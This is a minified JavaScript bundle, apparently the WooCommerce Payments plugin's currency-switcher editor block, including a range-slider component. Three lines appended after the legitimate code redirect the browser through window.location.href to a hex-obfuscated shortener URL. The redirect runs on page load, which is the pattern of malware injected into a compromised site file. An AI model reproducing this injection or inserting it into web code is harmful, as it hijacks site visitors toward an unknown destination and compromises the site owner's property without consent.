0===r?n:e-n}),0)}(o,t)),r.value=b(o,e?t:null)}if(n===ap&&i){const[e,t]=a.delta,n=a.shiftKey&&s,i=n?parseFloat(p)*_:_;let c,l;switch(o){case"n":l=t,c=-1;break;case"e":l=e,c=(0,se.isRTL)()?-1:1;break;case"s":l=t,c=1;break;case"w":l=e,c=(0,se.isRTL)()?1:-1}if(0!==l){l=Math.ceil(Math.abs(l))*Math.sign(l);const e=l*i*c;r.value=b(_p(u,e),n?i:null)}}if(n===cp||n===rp){const e=!1===d&&""===u;r.value=e?u:b(u)}return r})(e,t);return null!==(n=null==r?void 0:r(a,t))&&void 0!==n?n:a}}))})),Ep=()=>Zc({height:30,minHeight:30},"",""),wp=Mc("div",{target:"exqw8y214"})({name:"17z6zai",styles:"-webkit-tap-highlight-color:transparent;box-sizing:border-box;align-items:flex-start;display:inline-flex;justify-content:flex-start;padding:0;position:relative;touch-action:none;width:100%"}),Sp=Mc("div",{target:"exqw8y213"})("box-sizing:border-box;color:",Bu.blue.medium.focus,";display:block;flex:1;position:relative;width:100%;",(e=>{let{color:t=Bu.ui.borderFocus}=e;return Zc({color:t},"","")}),";",Ep,";",(e=>{let{marks:t}=e;return Zc({marginBottom:t?16:null},"","")}),";"),Tp=Mc("span",{target:"exqw8y212"})("margin-top:",4,"px;",dl({marginRight:6}),";"),Rp=Mc("span",{target:"exqw8y211"})("margin-top:",4,"px;",dl({marginLeft:6}),";"),Op=Mc("span",{target:"exqw8y210"})("background-color:",Bu.lightGray[600],";box-sizing:border-box;left:0;pointer-events:none;right:0;display:block;height:",4,"px;position:absolute;margin-top:",13,"px;top:0;border-radius:",4,"px;",(e=>{let{disabled:t,railColor:r}=e,n=r||null;return t&&(n=Bu.lightGray[400]),Zc({background:n},"","")}),";"),Ap=Mc("span",{target:"exqw8y29"})("background-color:currentColor;border-radius:",4,"px;box-sizing:border-box;height:",4,"px;pointer-events:none;display:block;position:absolute;margin-top:",13,"px;top:0;",(e=>{let{disabled:t,trackColor:r}=e,n=r||"currentColor";return t&&(n=Bu.lightGray[800]),Zc({background:n},"","")}),";"),Cp=Mc("span",{target:"exqw8y28"})({name:"1xuuvmv",styles:"box-sizing:border-box;display:block;pointer-events:none;position:relative;width:100%;user-select:none"}),xp=Mc("span",{target:"exqw8y27"})("box-sizing:border-box;height:",12,"px;left:0;position:absolute;top:-4px;width:1px;",(e=>{let{disabled:t,isFilled:r}=e,n=r?"currentColor":Bu.lightGray[600];return t&&(n=Bu.lightGray[800]),Zc({backgroundColor:n},"","")}),";"),Ip=Mc("span",{target:"exqw8y26"})("box-sizing:border-box;color:",Bu.lightGray[600],";left:0;font-size:11px;position:absolute;top:12px;transform:translateX( -50% );white-space:nowrap;",(e=>{let{isFilled:t}=e;return Zc({color:t?Bu.darkGray[300]:Bu.lightGray[600]},"","")}),";");var kp={name:"1sb75b3",styles:"background-color:var( --wp-admin-theme-color )"};const Np=e=>{let{disabled:t}=e;return t?Zc("background-color:",Bu.lightGray[800],";",""):kp},Dp=Mc("span",{target:"exqw8y25"})("align-items:center;box-sizing:border-box;display:flex;height:",12,"px;justify-content:center;margin-top:",9,"px;outline:0;pointer-events:none;position:absolute;top:0;user-select:none;width:",12,"px;border-radius:50%;",Np,";",dl({marginLeft:-10}),";",dl({transform:"translateX( 4.5px )"},{transform:"translateX( -4.5px )"}),";"),Pp=Mc("span",{target:"exqw8y24"})("align-items:center;border-radius:50%;box-sizing:border-box;height:100%;outline:0;position:absolute;user-select:none;width:100%;",Np,";",(e=>{let{isFocused:t}=e;return t?Zc("&::before{content:' ';position:absolute;background-color:var( --wp-admin-theme-color );opacity:0.4;border-radius:50%;height:",20,"px;width:",20,"px;top:-4px;left:-4px;}",""):""}),";"),Mp=Mc("input",{target:"exqw8y23"})("box-sizing:border-box;cursor:pointer;display:block;height:100%;left:0;margin:0 -",6,"px;opacity:0;outline:none;position:absolute;right:0;top:0;width:calc( 100% + ",12,"px );");var Fp={name:"1cypxip",styles:"top:-80%"},Lp={name:"1lr98c4",styles:"bottom:-80%"};const Up=Mc("span",{target:"exqw8y22"})("background:rgba( 0, 0, 0, 0.8 );border-radius:2px;box-sizing:border-box;color:white;display:inline-block;font-size:12px;min-width:32px;opacity:0;padding:4px 8px;pointer-events:none;position:absolute;text-align:center;transition:opacity 120ms ease;user-select:none;line-height:1.4;",(e=>{let{show:t}=e;return Zc({opacity:t?1:0},"","")}),";",(e=>{let{position:t}=e;return"bottom"===t?Lp:Fp}),";",function(){let e;switch(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"transition"){case"transition":e="transition-duration: 0ms;";break;case"animation":e="animation-duration: 1ms;";break;default:e="\n\t\t\t\tanimation-duration: 1ms;\n\t\t\t\ttransition-duration: 0ms;\n\t\t\t"}return`\n\t\t@media ( prefers-reduced-motion: reduce ) {\n\t\t\t${e};\n\t\t}\n\t`}("transition"),";",dl({transform:"translateX(-50%)"},{transform:"translateX(50%)"}),";"),zp=Mc(bp,{target:"exqw8y21"})("box-sizing:border-box;display:inline-block;font-size:13px;margin-top:0;width:",Hu(16),"!important;input[type='number']&{",Ep,";}",dl({marginLeft:`${Hu(4)} !important`}),";"),Bp=Mc("span",{target:"exqw8y20"})("box-sizing:border-box;display:block;margin-top:0;button,button.is-small{margin-left:0;",Ep,";}",dl({marginLeft:8}),";"),$p=(0,U.forwardRef)((function(e,t){let{describedBy:r,label:n,onHideTooltip:o=V.noop,onMouseLeave:a=V.noop,onMouseMove:i=V.noop,onShowTooltip:s=V.noop,value:c,...u}=e;const l=function(e){let{onHide:t=V.noop,onMouseLeave:r=V.noop,onMouseMove:n=V.noop,onShow:o=V.noop,timeout:a=300}=e;const[i,s]=(0,U.useState)(!1),c=(0,U.useRef)(),u=(0,U.useCallback)((e=>{window.clearTimeout(c.current),c.current=setTimeout(e,a)}),[a]),l=(0,U.useCallback)((e=>{n(e),u((()=>{i||(s(!0),o())}))}),[]),d=(0,U.useCallback)((e=>{r(e),u((()=>{s(!1),t()}))}),[]);return(0,U.useEffect)((()=>()=>{window.clearTimeout(c.current)})),{onMouseMove:l,onMouseLeave:d}}({onHide:o,onMouseLeave:a,onMouseMove:i,onShow:s});return(0,U.createElement)(Mp,Fa({},u,l,{"aria-describedby":r,"aria-label":n,"aria-hidden":!1,ref:t,tabIndex:0,type:"range",value:c}))})),Hp=$p;function Vp(e){let{className:t,isFilled:r=!1,label:n,style:o={},...a}=e;const i=Ua()("components-range-control__mark",r&&"is-filled",t),s=Ua()("components-range-control__mark-label",r&&"is-filled");return(0,U.createElement)(U.Fragment,null,(0,U.createElement)(xp,Fa({},a,{"aria-hidden":"true",className:i,isFilled:r,style:o})),n&&(0,U.createElement)(Ip,{"aria-hidden":"true",className:s,isFilled:r,style:o},n))}function Wp(e){let{disabled:t=!1,marks:r=!1,min:n=0,max:o=100,step:a=1,value:i=0,...s}=e;return(0,U.createElement)(U.Fragment,null,(0,U.createElement)(Op,Fa({disabled:t},s)),r&&(0,U.createElement)(qp,{disabled:t,marks:r,min:n,max:o,step:a,value:i}))}function qp(e){let{disabled:t=!1,marks:r=!1,min:n=0,max:o=100,step:a=1,value:i=0}=e;"any"===a&&(a=1);const s=function(e){let{marks:t,min:r=0,max:n=100,step:o=1,value:a=0}=e;if(!t)return[];const i=n-r;if(!Array.isArray(t)){t=[];const e=1+Math.round(i/o);for(;e>t.push({value:o*t.length+r}););}const s=[];return t.forEach(((e,t)=>{if(e.value<r||e.value>n)return;const o=`mark-${t}`,c=e.value<=a,u=(e.value-r)/i*100+"%",l={[(0,se.isRTL)()?"right":"left"]:u};s.push({...e,isFilled:c,key:o,style:l})})),s}({marks:r,min:n,max:o,step:a,value:i});return(0,U.createElement)(Cp,{"aria-hidden":"true",className:"components-range-control__marks"},s.map((e=>(0,U.createElement)(Vp,Fa({},e,{key:e.key,"aria-hidden":"true",disabled:t})))))}function Yp(e){let{className:t,inputRef:r,tooltipPosition:n,show:o=!1,style:a={},value:i=0,renderTooltipContent:s=(e=>e),zIndex:c=100,...u}=e;const l=function(e){let{inputRef:t,tooltipPosition:r}=e;const[n,o]=(0,U.useState)(),a=(0,U.useCallback)((()=>{t&&t.current&&o(r)}),[r]);return(0,U.useEffect)((()=>{a()}),[a]),(0,U.useEffect)((()=>(window.addEventListener("resize",a),()=>{window.removeEventListener("resize",a)}))),n}({inputRef:r,tooltipPosition:n}),d=Ua()("components-simple-tooltip",t),p={...a,zIndex:c};return(0,U.createElement)(Up,Fa({},u,{"aria-hidden":o,className:d,position:l,show:o,role:"tooltip",style:p}),s(i))}const jp=(0,U.forwardRef)((function e(t,r){var n;let{afterIcon:o,allowReset:a=!1,beforeIcon:i,className:s,currentInput:c,color:u=Bu.ui.theme,disabled:l=!1,help:d,initialPosition:p,isShiftStepEnabled:m=!0,label:h,hideLabelFromVision:f=!1,marks:y=!1,max:g=100,min:_=0,onBlur:v=V.noop,onChange:b=V.noop,onFocus:E=V.noop,onMouseMove:w=V.noop,onMouseLeave:S=V.noop,railColor:T,resetFallbackValue:R,renderTooltipContent:O=(e=>e),showTooltip:A,shiftStep:C=10,step:x=1,trackColor:I,value:k,withInputField:N=!0,...D}=t;const[P,M]=function(e){let{min:t,max:r,value:n,initial:o}=e;const[a,i]=Vc(Ju(n,t,r),{initial:o,fallback:null});return[a,(0,U.useCallback)((e=>{i(null===e?null:Ju(e,t,r))}),[t,r])]}({min:_,max:g,value:k,initial:p}),F=(0,U.useRef)(!1);"any"===x&&(A=!1,N=!1);const[L,z]=(0,U.useState)(A),[B,$]=(0,U.useState)(!1),H=(0,U.useRef)(),W=null===(n=H.current)||void 0===n?void 0:n.matches(":focus"),q=!l&&B,Y=null===P,j=Y?"":void 0!==P?P:c,G=Y?(g-_)/2+_:P,K=Y?50:(P-_)/(g-_)*100,Q=`${(0,V.clamp)(K,0,100)}%`,Z=Ua()("components-range-control",s),X=Ua()("components-range-control__wrapper",!!y&&"is-marked"),J=(0,za.useInstanceId)(e,"inspector-range-control"),ee=d?`${J}__help`:void 0,te=!1!==A&&(0,V.isFinite)(P),re=()=>{let e=parseFloat(R),t=e;isNaN(e)&&(e=null,t=void 0),M(e),b(t)},ne={[(0,se.isRTL)()?"right":"left"]:Q};return(0,U.createElement)(Zu,{className:Z,label:h,hideLabelFromVision:f,id:J,help:d},(0,U.createElement)(wp,{className:"components-range-control__root"},i&&(0,U.createElement)(Tp,null,(0,U.createElement)(ac,{icon:i})),(0,U.createElement)(Sp,{className:X,color:u,marks:!!y},(0,U.createElement)(Hp,Fa({},D,{className:"components-range-control__slider",describedBy:ee,disabled:l,id:J,label:h,max:g,min:_,onBlur:e=>{v(e),$(!1),z(!1)},onChange:e=>{const t=parseFloat(e.target.value);M(t),b(t)},onFocus:e=>{E(e),$(!0),z(!0)},onMouseMove:w,onMouseLeave:S,ref:e=>{H.current=e,r&&r(e)},step:x,value:j})),(0,U.createElement)(Wp,{"aria-hidden":!0,disabled:l,marks:y,max:g,min:_,railColor:T,step:x,value:G}),(0,U.createElement)(Ap,{"aria-hidden":!0,className:"components-range-control__track",disabled:l,style:{width:Q},trackColor:I}),(0,U.createElement)(Dp,{style:ne,disabled:l},(0,U.createElement)(Pp,{"aria-hidden":!0,isFocused:q,disabled:l})),te&&(0,U.createElement)(Yp,{className:"components-range-control__tooltip",inputRef:H,tooltipPosition:"bottom",renderTooltipContent:O,show:W||L,style:ne,value:P})),o&&(0,U.createElement)(Rp,null,(0,U.createElement)(ac,{icon:o})),N&&(0,U.createElement)(zp,{"aria-label":h,className:"components-range-control__number",disabled:l,inputMode:"decimal",isShiftStepEnabled:m,max:g,min:_,onBlur:()=>{F.current&&(re(),F.current=!1)},onChange:e=>{e=parseFloat(e),M(e),isNaN(e)?a&&(F.current=!0):((e<_||e>g)&&(e=Ju(e,_,g)),b(e),F.current=!1)},shiftStep:C,step:x,value:j}),a&&(0,U.createElement)(Bp,null,(0,U.createElement)(Bc,{className:"components-range-control__reset",disabled:l||void 0===P,variant:"secondary",isSmall:!0,onClick:re},(0,se.__)("Reset")))))})),Gp=jp,Kp=window.wp.blocks,Qp=window.wp.blockEditor;(0,Kp.registerBlockType)("woocommerce-payments/multi-currency-switcher",{apiVersion:2,title:(0,se.__)("Currency Switcher Block","woocommerce-payments"),description:(0,se.__)("Let your customers switch between your enabled currencies","woocommerce-payments"),icon:(0,U.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",baseProfile:"tiny-ps",viewBox:"0 0 24 24"},(0,U.createElement)("path",{d:"M13.5 8.1h.86c.34 1.81 1.54 2.9 3.2 2.9 1.58 0 2.64-.89 2.94-2.29h-1.11c-.23.72-.86 1.21-1.82 1.21-1 0-1.77-.67-2.06-1.82h2.78v-.65H15.4L15.38 7l.02-.46h2.89v-.65h-2.78c.3-1.13 1.06-1.81 2.05-1.81.94 0 1.63.59 1.84 1.38h1.1A2.86 2.86 0 0017.56 3c-1.65 0-2.85 1.09-3.19 2.89h-.87v.65h.78l-.02.46.02.45h-.78v.65zm-9 8.57v.78h1.8c.07.24.12.49.12.73 0 .87-.79 1.64-1.9 1.84V21h6.98v-1.01H6.57v-.07c.7-.33 1.25-.95 1.25-1.79 0-.23-.04-.45-.1-.68h2.72v-.78H7.43a3.6 3.6 0 01-.35-1.33c0-.83.77-1.33 2.12-1.33.74 0 1.51.13 1.85.29v-1.01A5.9 5.9 0 009.06 13c-2.15 0-3.44.87-3.44 2.28 0 .48.18.94.37 1.39H4.5z",className:"prefix__shp0"}),(0,U.createElement)("path",{fillRule:"evenodd",d:"M7.63 10.22c-1.72-.09-3.08-.75-3.13-1.85h1.41c.13.54.64.93 1.72 1.01V7.37l-.26-.05c-1.73-.27-2.66-.8-2.66-1.73 0-1.04 1.22-1.72 2.92-1.8V3h.8v.79c1.69.09 2.91.78 2.96 1.82H9.98c-.08-.57-.69-.91-1.55-.99v1.93l.31.05c1.79.28 2.76.78 2.76 1.77 0 1.13-1.35 1.77-3.07 1.85V11h-.8v-.78zm0-3.8v-1.8c-.98.08-1.48.47-1.48.89 0 .42.4.73 1.48.91zm.8 1.07v1.9c1.15-.07 1.64-.44 1.64-.93 0-.48-.39-.76-1.64-.97z",className:"prefix__shp0"}),(0,U.createElement)("path",{d:"M17.63 21v-1.61h1.97v-.67h-1.97v-.87h1.97v-.67h-1.63L20.5 13h-1.4l-2.07 3.63h-.05L14.92 13H13.5l2.53 4.18H14.4v.67h1.97v.87H14.4v.67h1.97V21h1.26z",opacity:.8})),category:"widgets",attributes:{symbol:{type:"boolean",default:!0},flag:{type:"boolean",default:!1},fontSize:{type:"integer",default:14},fontLineHeight:{type:"float",default:1.5},fontColor:{type:"string",default:"#000000"},border:{type:"boolean",default:!0},borderRadius:{type:"integer",default:3},borderColor:{type:"string",default:"#000000"},backgroundColor:{type:"string",default:"transparent"}},edit:e=>{const{attributes:{symbol:t,flag:r,fontSize:n,fontLineHeight:o,fontColor:a,border:i,borderRadius:s,borderColor:c,backgroundColor:u},setAttributes:l}=e,{isLoading:d}=(0,z.useSelect)((e=>{const{getCurrencies:t,isResolving:r}=e(H);return"1"!==wcpaySettings.isMultiCurrencyEnabled?{currencies:{},isLoading:!1}:{currencies:t(),isLoading:r("getCurrencies",[])}}),[]),{enabledCurrencies:p}=(()=>{const e=(0,z.useSelect)((e=>{const{getEnabledCurrencies:t}=e(H);return t()})),{submitEnabledCurrenciesUpdate:t}=(0,z.useDispatch)(H);return{enabledCurrencies:e,submitEnabledCurrenciesUpdate:t}})(),m=p?Object.keys(p):[],h={div:{lineHeight:o},select:{fontSize:n,color:a,backgroundColor:u,borderWidth:i?"1px":"0px",borderColor:c,borderRadius:s}},f=(0,Qp.useBlockProps)();return(0,U.createElement)("div",f,(0,U.createElement)(Qp.InspectorControls,{key:"setting"},(0,U.createElement)(jc,{title:(0,se.__)("Multi-Currency settings","woocommerce-payments")},(0,U.createElement)("a",{href:"/wp-admin/admin.php?page=wc-settings&tab=wcpay_multi_currency",target:"_blank",rel:"noreferrer"},(0,se.__)("Adjust and edit your Multi-Currency settings","woocommerce-payments"))),(0,U.createElement)(jc,{title:(0,se.__)("Layout","woocommerce-payments")},(0,U.createElement)(Xu,{label:(0,se.__)("Display flags","woocommerce-payments"),checked:r,onChange:e=>{l({flag:e})}}),(0,U.createElement)(Xu,{label:(0,se.__)("Display currency symbols","woocommerce-payments"),checked:t,onChange:e=>{l({symbol:e})}}),(0,U.createElement)(Xu,{label:(0,se.__)("Border","woocommerce-payments"),checked:i,onChange:e=>{l({border:void 0!==e&&e})}}),(0,U.createElement)(Gp,{label:(0,se.__)("Border radius","woocommerce-payments"),value:s,onChange:e=>{l({borderRadius:void 0===e?3:e})},min:1,max:20})),(0,U.createElement)(jc,{title:(0,se.__)("Typography","woocommerce-payments")},(0,U.createElement)(Gp,{label:(0,se.__)("Size","woocommerce-payments"),value:n,onChange:e=>{l({fontSize:void 0===e?11:e})},min:6,max:48}),(0,U.createElement)(Gp,{label:(0,se.__)("Line height","woocommerce-payments"),value:o,onChange:e=>{l({fontLineHeight:void 0===e?"normal":e})},min:1,max:3,step:.1})),(0,U.createElement)(jc,{title:(0,se.__)("Color settings","woocommerce-payments")},(0,U.createElement)(Qp.ColorPaletteControl,{onChange:e=>{l({fontColor:void 0===e?"#000000":e})},value:a,label:(0,se.__)("Text","woocommerce-payments")}),(0,U.createElement)(Qp.ColorPaletteControl,{onChange:e=>{l({backgroundColor:void 0===e?"transparent":e})},value:u,label:(0,se.__)("Background","woocommerce-payments")}),(0,U.createElement)(Qp.ColorPaletteControl,{onChange:e=>{l({borderColor:void 0===e?"#000000":e})},value:c,label:(0,se.__)("Border","woocommerce-payments")}))),(0,U.createElement)("div",{className:"currency-switcher-holder",style:h.div},(0,U.createElement)("select",{name:"currency",disabled:d,style:h.select},d&&(0,U.createElement)("option",null,(0,se.__)("Loading…","woocommerce-payments")),!d&&p&&m.map((e=>(0,U.createElement)("option",{key:p[e].id,value:p[e].code},r?p[e].flag+" ":"",t&&p[e].symbol!==p[e].code?p[e].symbol+" ":"",p[e].code))))))},save:()=>null})})()})();
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";